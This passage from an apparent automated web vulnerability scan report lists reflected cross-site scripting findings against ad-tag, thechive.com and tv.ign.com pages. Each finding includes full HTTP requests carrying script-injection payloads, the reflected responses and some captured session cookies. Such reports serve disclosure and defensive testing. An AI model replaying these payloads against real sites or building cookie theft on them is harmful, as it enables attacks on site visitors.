This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json/100/glamtoptier/728x90/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAdf2517<script>alert(1)</script>872e34152a3&floor_price=2&container=ADMELD20077728154 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICI3Mjh4OTAiLCAgZnJlcTogICAgICAgICAiMC0wIiwgIGRlZmF1bHRzOiAgICAgIjAtMCIsICByZXF1ZXN0OiAgICAgICIyZDcyNTkzYy1hZmZhLTQ5MjQtOWEwMS0wZGYxZWRjYzIxYzkiLCAgdXNlcjogICAgICAgICAiNmFjY2NjYTQtZDBlNC00NjRlLWE4MjQtZjY3Y2IyOGQ1NTU2IiwgIGNvdW50cnk6ICAgICAgIlVTIiwgIGNpdHk6ICAgICAgICAgIkRhbGxhcyIsICBkbWE6ICAgICAgICAgIDYyMywgIHJlZ2lvbjogICAgICAgIlRYIiwgIGlwOiAgICAgICAgICAgIjE3My4xOTMuMjE0LjI0MyIsICBkZXB0aDogICAgICAgIDEsICB0YXJnZXQ6ICAgICAgICJyb3MiLCAgZGl2OiAgICAgICAgICAiMmQ3MjU5M2MtYWZmYS00OTI0LTlhMDEtMGRmMWVkY2MyMWM5IiwgIHVybDogICAgICAgICAgImh0dHA6Ly90aGVjaGl2ZS5jb20vIiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgImhvdXNlIiwgIGltcDogICAgICAgICAgMjUsICBuZXR3b3JrX2lkOiAgIDAsICBhY2NvdW50X2lkOiAgIDAsICBuZXR3b3JrX25hbWU6ICJBZE1lbGQgUFNBIiwgIHB1Ymxpc2hlcl9uYW1lOiAiZ2xhbSIsICBlY3BtOiAgICAgICAgICIyLjAwIiwgIGZlY3BtOiAgICAgICAgIjIuMDAiLCAgZmlsbDogICAgICAgICAiMTAwLjAwIiwgIHBsYWNlbWVudDogICAgInJvcyIsICBydWxlOiAgICAgICAgICI0MjAxMDU4MDMiLCAgY3JlYXRpdmVfaWQ6ICAiIiwgIGJpZGRlcnM6ICAgICAgW3sibmV0d29ya19uYW1lIjoiVHVybiAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg3OTEsICJidXkiOjE5NiwibHAiOiJodHRwOi8vd3d3LmhhcnJpZXRjYXJ0ZXIuY29tLyIsImFuIjoiSGFycmlldCBDYXJ0ZXIiLCJzdGF0dXMiOiIwLjA4IiwiZmlkIjo0NjcyLCAiZmNwbSI6IjIuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjM5ODcxNywgImJ1eSI6MTc4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IlF1YW50Y2FzdCAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg3NTksICJidXkiOjE4MSwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4OTg1LCAiYnV5Ijo1MDQsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoieCsxIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjQxOTQyOCwgImJ1eSI6OTAyLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnMzYifQ==
Content-Length: 365
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:14 GMT
Connection: close

GlamAdmeldRenderJsAdf2517<script>alert(1)</script>872e34152a3({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":728,"height":90,"container":"ADMELD20077728154","bid":2.00,"requestId":"2d72593c-affa-4924-9a01-0df1edcc21c9","views":0,"expires":1
...[SNIP]...

3.456. http://tag.admeld.com/ad/json/100/glamtoptier/728x90/420105803 [container parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/728x90/420105803

Issue detail

The value of the container request parameter is copied into the HTML document as plain text between tags. The payload bb800<script>alert(1)</script>8b4f40a0466 was submitted in the container parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json/100/glamtoptier/728x90/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd&floor_price=2&container=ADMELD20077728154bb800<script>alert(1)</script>8b4f40a0466 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICI3Mjh4OTAiLCAgZnJlcTogICAgICAgICAiMC0wIiwgIGRlZmF1bHRzOiAgICAgIjAtMCIsICByZXF1ZXN0OiAgICAgICIyZmZkMzVmMC1lYWU3LTQ4OTgtYjBlNi02OWQxZmNkZWIyYzIiLCAgdXNlcjogICAgICAgICAiNmFjY2NjYTQtZDBlNC00NjRlLWE4MjQtZjY3Y2IyOGQ1NTU2IiwgIGNvdW50cnk6ICAgICAgIlVTIiwgIGNpdHk6ICAgICAgICAgIkRhbGxhcyIsICBkbWE6ICAgICAgICAgIDYyMywgIHJlZ2lvbjogICAgICAgIlRYIiwgIGlwOiAgICAgICAgICAgIjE3My4xOTMuMjE0LjI0MyIsICBkZXB0aDogICAgICAgIDEsICB0YXJnZXQ6ICAgICAgICJyb3MiLCAgZGl2OiAgICAgICAgICAiMmZmZDM1ZjAtZWFlNy00ODk4LWIwZTYtNjlkMWZjZGViMmMyIiwgIHVybDogICAgICAgICAgImh0dHA6Ly90aGVjaGl2ZS5jb20vIiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgImVycm9yIiwgIGltcDogICAgICAgICAgMjcsICBuZXR3b3JrX2lkOiAgIDAsICBhY2NvdW50X2lkOiAgIDAsICBuZXR3b3JrX25hbWU6ICJBZE1lbGQgUFNBIiwgIHB1Ymxpc2hlcl9uYW1lOiAiZ2xhbSIsICBlY3BtOiAgICAgICAgICIyLjAwIiwgIGZlY3BtOiAgICAgICAgIjIuMDAiLCAgZmlsbDogICAgICAgICAiMTAwLjAwIiwgIHBsYWNlbWVudDogICAgInJvcyIsICBydWxlOiAgICAgICAgICI0MjAxMDU4MDMiLCAgY3JlYXRpdmVfaWQ6ICAiIiwgIGJpZGRlcnM6ICAgICAgW3sibmV0d29ya19uYW1lIjoiVHVybiAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg3OTEsICJidXkiOjE5NiwibHAiOiJodHRwOi8vd3d3LmhhcnJpZXRjYXJ0ZXIuY29tLyIsImFuIjoiSGFycmlldCBDYXJ0ZXIiLCJzdGF0dXMiOiIwLjA4IiwiZmlkIjo0NjcyLCAiZmNwbSI6IjIuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjM5ODcxNywgImJ1eSI6MTc4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IlF1YW50Y2FzdCAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg3NTksICJidXkiOjE4MSwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4OTg1LCAiYnV5Ijo1MDQsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJ4KzEgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyNDE5NDI4LCAiYnV5Ijo5MDIsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWc0MCJ9
Content-Length: 365
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:15 GMT
Connection: close

GlamAdmeldRenderJsAd({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":728,"height":90,"container":"ADMELD20077728154bb800<script>alert(1)</script>8b4f40a0466","bid":2.00,"requestId":"2ffd35f0-eae7-4898-b0e6-69d1fcdeb2c2","views":0,"expires":1297045575,"creative":"<img src=\"http://tag.admeld.com/psa/adc_es_green_728x90.jpg\"/>
...[SNIP]...

3.457. http://thechive.com/ [ign10 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://thechive.com
Path:	/

Issue detail

The value of the ign10 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ab01"><script>alert(1)</script>958cbd566d4 was submitted in the ign10 parameter. This input was echoed as 5ab01\"><script>alert(1)</script>958cbd566d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?ign105ab01"><script>alert(1)</script>958cbd566d4 HTTP/1.1
Host: thechive.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 01:58:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://thechive.com/xmlrpc.php
Link: <http://wp.me/Ignu>; rel=shortlink
Content-Length: 114483

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
<head profile
...[SNIP]...
<a href="http://thechive.com/?ign105ab01\"><script>alert(1)</script>958cbd566d4">
...[SNIP]...

3.458. http://thechive.com/ [ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://thechive.com
Path:	/

Issue detail

The value of the ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4 request parameter is copied into the HTML document as plain text between tags. The payload e5e52<script>alert(1)</script>44f081ac215 was submitted in the ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4e5e52<script>alert(1)</script>44f081ac215 HTTP/1.1
Host: thechive.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=5f123011fd6a6cf2:T=1297045485:S=ALNI_MYtqwEHWNxAwZleSfSap4zoWy7eOw; __qca=P0-1351758816-1297045535731; MG_8548=2; MG_8547=1; __utmz=75015255.1297045548.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/20; __utma=75015255.548067397.1297045520.1297045520.1297045520.1; __utmc=75015255; __utmb=75015255.1.10.1297045520

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:27:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://thechive.com/xmlrpc.php
Link: <http://wp.me/Ignu>; rel=shortlink
Vary: Accept-Encoding
Content-Length: 114196

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
<head profile
...[SNIP]...
</script>958cbd566d4e5e52<script>alert(1)</script>44f081ac215">
...[SNIP]...

3.459. http://thechive.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://thechive.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45f7b"><script>alert(1)</script>d3d5acd1ad9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 45f7b\"><script>alert(1)</script>d3d5acd1ad9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?45f7b"><script>alert(1)</script>d3d5acd1ad9=1 HTTP/1.1
Host: thechive.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 01:58:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://thechive.com/xmlrpc.php
Link: <http://wp.me/Ignu>; rel=shortlink
Content-Length: 114112

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
<head profile
...[SNIP]...
<a href="http://thechive.com/?45f7b\"><script>alert(1)</script>d3d5acd1ad9=1">
...[SNIP]...

3.460. http://tv.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6eefb"-alert(1)-"cc8baa5a704 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?6eefb"-alert(1)-"cc8baa5a704=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:57 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-1380500602-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:57 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043937191v-1n-12mc+1297043937191mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 146752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN TV: Episode Gu
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/?6eefb"-alert(1)-"cc8baa5a704=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.461. http://tv.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ca76"><script>alert(1)</script>2776e84e281 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?2ca76"><script>alert(1)</script>2776e84e281=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:54 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1022482575-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:54 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043934298v-1n-12mc+1297043934298mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 147933

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN TV: Episode Gu
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/?2ca76"><script>alert(1)</script>2776e84e281=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.462. http://tv.ign.com/articles/114/1148024p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148024p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f360f"-alert(1)-"2aeb09add04 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148024p1.html?f360f"-alert(1)-"2aeb09add04=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:51 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-1772336673-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:51 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043931365v-1n-12mc+1297043931365mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110511

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/articles/114/1148024p1.html?f360f"-alert(1)-"2aeb09add04=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.463. http://tv.ign.com/articles/114/1148024p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148024p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa783"><script>alert(1)</script>c931512fab2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148024p1.html?fa783"><script>alert(1)</script>c931512fab2=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:48 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-531438234-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:48 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043928417v-1n-12mc+1297043928417mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110570

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/articles/114/1148024p1.html?fa783"><script>alert(1)</script>c931512fab2=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.464. http://tv.ign.com/articles/114/1148084c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148084c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e207e"><script>alert(1)</script>d3545339c96 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148084c.html?e207e"><script>alert(1)</script>d3545339c96=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-184273558-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043929432v-1n-12mc+1297043929432mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 87813

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/articles/114/1148084c.html?e207e"><script>alert(1)</script>d3545339c96=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.465. http://tv.ign.com/articles/114/1148084c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148084c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 516e5"-alert(1)-"0adff773237 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148084c.html?516e5"-alert(1)-"0adff773237=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:51 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-399914828-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:51 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043932037v-1n-12mc+1297043932037mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 86850

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/articles/114/1148084c.html?516e5"-alert(1)-"0adff773237=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.466. http://tv.ign.com/articles/114/1148084p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148084p1.html

Issue detail

